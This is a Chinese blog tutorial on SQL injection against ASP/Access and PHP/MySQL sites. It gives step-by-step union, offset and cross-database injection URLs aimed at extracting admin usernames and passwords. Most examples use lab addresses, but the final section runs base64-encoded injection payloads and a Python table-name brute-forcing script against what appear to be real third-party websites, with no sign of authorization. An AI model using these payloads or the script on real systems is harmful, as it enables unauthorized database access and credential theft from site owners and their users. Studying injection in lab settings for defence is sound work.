chenhongl

导航

 

#知识点:
1、脚本代码与数据库前置知识
2、Access数据库注入-简易&偏移
3、MYSQL数据库注入-简易&权限跨库

 

一、前置知识

-SQL注入漏洞产生原理分析
-SQL注入漏洞危害利用分析
-脚本代码与数据库操作流程
-数据库名,表名,列名,数据
-数据库类型,数据库用户,用户权限

脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行页面显示),将定义的SQL语句进行执行查询数据时。其中的SQL语句能通过参数传递自定义值来实现控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中的敏感数据,如管理员帐号密码)。这一个过程就可以叫做SQL注入漏洞。

漏洞产生根本条件:可控变量 特定函数

sql注入产生原因:可控变量(带参数),带入数据库查询(可执行),变量未存在过滤或过滤不严重

 

 二、ASP+Access-简易注入-字典猜解

1、可能有注入的情况

  ①URL地址带有一个参数的:

    比如:http://192.168.46.160:85/Production/PRODUCT.asp?id=1513

  ②URL地址带有多个参数的:

    比如:http://192.168.46.160:85/Production/PRODUCT.asp?id=1513&page=1(两个参数都要测试)

  ③ URL地址没有参数,但是请求时输入的数据是隐藏在data里面发送的

    比如:http://192.168.46.160:85/admin/Redirect.asp,登录时输入的账号和密码通过data发送

    

 

如果下面的URL地址测试注入判断id有注入,手工测试该如何进行?
http://192.168.46.160:85/Production/PRODUCT.asp?id=1513&page=1

http://192.168.46.160:85/Production/PRODUCT.asp?page=1&id=1513 注入语句(对)
Production/PRODUCT.asp?id=1513 注入语句&page=1 (对)
Production/PRODUCT.asp?id=1513&page=1 注入语句 (错)

 

2、SQL注入攻击流程:

1. 猜测数据库类型
2. 根据类型选择思路

ACCESS 数据库结构:独立存在
  数据库名
    表名
      列名(字段)
        数据

 

【例】: 测试目的:从数据库拿到管理员的账号和密码

asp代码:

 

测试步骤:

① 判断是否存在注入点

http://192.168.199.136:85/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1  //页面显示正常

http://192.168.199.136:85/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2   //页面显示错误

说明参数?id=xx存在注入点

 

② order by查询表字段数:

http://192.168.199.136:85/Production/PRODUCT_DETAIL.asp?id=1513 order by 22   //页面显示正确
http://192.168.199.136:85/Production/PRODUCT_DETAIL.asp?id=1513 order by 23    //页面显示错误
说明该表有22个字段


③ UNION SELECT联合查询,爆出数字:由于access没有数据库名等,直接暴力猜解表名(admin表)

http://192.168.199.136:85/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

可借助firefox的插件自动填写:

对应的sql语句:

 

 执行结果:页面上暴露出相关数字,说明存在admin的表(如果没有暴露出数字,说明不存在该表)

 

④ 猜解admin表的字段名(将暴露数字的列替换为用户名和密码等列名)

http://192.168.199.136:85/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

 

三、ASP+Access-偏移注入-报错显示

由于Access数据库特性导致这个SQL注入是需要借助字典去猜解表名和列名的,那么就会出现表名或列名猜解不到,可以自定义社工字典或采用偏移注入!

偏移注入就是解决表名已知,列名未知的情况!


参考:Access偏移注入与原理:https://www.fujieace.com/penetration-test/access-offset-injection.html

测试步骤:

① 判断注入点

127.0.0.1/asp/index.asp?id=1513 and 1=1  正常
127.0.0.1/asp/index.asp?id=1513 and 1=2  错误
说明参数?id存在注入点

 

② 查询字段个数:order by...

127.0.0.1/asp/index.asp?id=1513 order by 22 正常
127.0.0.1/asp/index.asp?id=1513 order by 23 错误
说明该表有22个字段

 

③ 爆出显位:union select,尝试是否存在admin表

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

 判断admin表内存在的字段个数:用*号往前替换数字,直到页面正确

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin  错误
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin  错误
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin  //当减到16的时候页面显示正常

 说明admin表下有6个字段(22-17);

 

④ 爆列名数据

一级偏移语句:(注意:替换时还要往前减6个数字到10(即:16-6))

http://192.168.199.136:85/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
这样注入就会随机爆出字段,然后右键查看页面源代码,就有可能查看到爆出的账号和密码

 

如果一级偏移没有爆出,就继续二级偏移,

二级偏移:http://192.168.199.136:85/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id) (注意:替换时还要往前减6个数字到4(即:10-6))

然后鼠标右键,查看页面源代码,查看是否爆出用户名和密码

 

四、PHP+MYSQL-简易注入-存储特性

1、mysql数据库

MYSQL 统一管理:可能有多个库,存在多个用户分别管理不同库,相互不影响
最高数据库用户=root用户
数据库A=网站A=数据库用户A
  表名
    列名
      数据
数据库B=网站B=数据库用户B
数据库C=网站C=数据库用户C

为了网站和数据库的安全性,MYSQL内置有ROOT最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。

 

2、MYSQL注入的两种思路:
  非ROOT用户的注入攻击:常规类的猜解
  ROOT用户的注入攻击:文件读写操作,跨库查询注入等

黑盒测试中可以采用user()函数来获取当前用户权限,白盒中看连接用户即可!


3、获取相关数据:
  1. 数据库版本:version()  - 看是否符合information_schema查询(5.0以上版本符合)
  2. 数据库用户:user()  - 看是否符合ROOT型注入攻击   
  3. 当前操作系统:@@version_compile_os - 看是否支持大小写或文件路径选择 
  4. 数据库名字:database() - 为后期猜解指定数据库下的表,列做准备 

 

4、Mysql数据库特性:
MYSQL5.0以上版本:自带名为information_schema的数据库,可以通过它查询获取指定数据库下面的表名或列名信息

  1.数据库中符号.代表下一级,如xaiodi.user表示xiaodi数据库下的user表。

    information_schema.schemata:记录所有数据库名的表

    information_schema.tables:记录所有表名信息的表

    information_schema.columns:记录所有列名信息的表

  2.information_schema 数据库的三张表 下的 字段名 :

    SCHEMATA(infomation_schema.schemata表)记录数据库名的表

      schemata_name:数据库名

    TABLES(information_schema.tables表)记录所有表名的表

      table_name:表名

      table_schema:数据库名

    COLUMNS(information_schema.columns表记录所有列名的表

      column_name:列名

      TABLE_SCHEMA:数据库名

      TABLE_NAME:表名

 

【例】:

①http://127.0.0.1:8085/book2/news.php?id=1 and 1=1 #页面显示正常

http://127.0.0.1:8085/book2/news.php?id=1 and 1=2 #页面显示错误

 

②order获取字段数

http://127.0.0.1:8085/book2/news.php?id=1 order by 17  #页面显示正常

http://127.0.0.1:8085/book2/news.php?id=1 order by 18  #数据库报错

说明字段数是17

 

③爆数字
http://localhost:81/book/news.php?id=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 #列出所有字段1-17
或者,如果没有爆出数字可以将id写成-1:
http://localhost:81/book/news.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 

爆出显位1,2

 

④获取数据库用户和版本:

http://127.0.0.1:81/book/news.php?id=-1 UNION SELECT user(),version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

  • 通过user()查询到用户---root@localhost,超级管理员可以进行下一步操作;
  • 通过version()查询到数据库版本---5.7.26,版本是5以上,存在information_schma这个数据库

 

 

http://127.0.0.1:81/book/news.php?id=-1 UNION SELECT database(),@@version_compile_os,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

 

  • 通过database()查询到数据库的名字---syguestbook;
  • 通过@@version_compile_os查询到操作系统的信息---win64

 

 

五、ROOT类型攻击 - 猜解数据,文件读写,跨库查询

① 获取syguestbook数据库下面的表名信息:(获取表)
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='syguestbook'

 

 

如果只显示一部分,用到group_concat函数就可以显示全部:

UNION SELECT group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='syguestbook'

 

② 获取表名sy_adminuser的列名信息:(获取列)
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='sy_adminuser' and table_schema='syguestbook'

 

③ 获取指定数据:(获取数据)
UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser

 

六、PHP+MYSQL-跨库注入-权限属性

跨库注入:实现当前网站跨库查询其他数据库对应网站的数据
① 获取当前mysql下的所有数据库名(从information_schema.schemata获取数据库名)
http://127.0.0.1:8085/book/news.php?id=-1 UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata

 

② 获取数据库名xhcms下的表名信息:(获取表)
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='xhcms'

 

 

 

③ 获取数据库名xhcms下的表manage下的列名信息:(获取列)
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='manage' and table_schema='xhcms

 

④ 获取指定数据:
UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage 

注意:要写上目标数据库xhcms.表名

 

【例】:http://www.comresearch.org/researchDetails.php?id=MQ==

①尝试确定是否有sql注入漏洞: (先编码https://www.crfbehavioralhealthcare.org/?id=1 and 1=2)

https://www.crfbehavioralhealthcare.org/?id=MSBhbmQgMT0y   

 

②order by 查询字段个数 (https://www.crfbehavioralhealthcare.org/?id=1 order by 7)

https://www.crfbehavioralhealthcare.org/?id=MSBvcmRlciBieSA3

③爆数字:

http://www.comresearch.org/researchDetails.php?id=MSB1bmlvbiBzZWxlY3QgMSwyLDMsNCw1LDYsNw==
爆出数字2、4、5

④查数据库版本、用户、操作系统版本、数据库名
http://www.comresearch.org/researchDetails.php?id=MSB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLDMsdmVyc2lvbigpLHVzZXIoKSw2LDc=

版本是4x,没有infomation_schema这个表,只能暴力破解

 


脚本代码:

import requests
import base64
url='http://www.comresearch.org/researchDetails.php?id='
sqlin='1 union select 1,2,3,4,5,6,7 from '  #注入语句
for lieming in open('common-tables.txt'):    #字典
    lieming=lieming.strip()
    s=sqlin+lieming  #注入语句和字典中的之拼接(如下图)
    ss=base64.b64encode(s.encode('utf-8')) #base64加密
    #print(lieming)
    sqlins=url+ss.decode('utf-8')  #url和加密后的拼接得到完整地址
    #print(sqlins)   
    sss=requests.get(sqlins)
    if 'Warning' in sss.text: #页面出现关键字,说明没有找到
        print('失败')
    else:
        print('成功')
        print(sqlins)

 

找到表,解密后是news表:

 

posted on 2024-01-29 16:09  chenhongl  阅读(136)  评论(0)    收藏  举报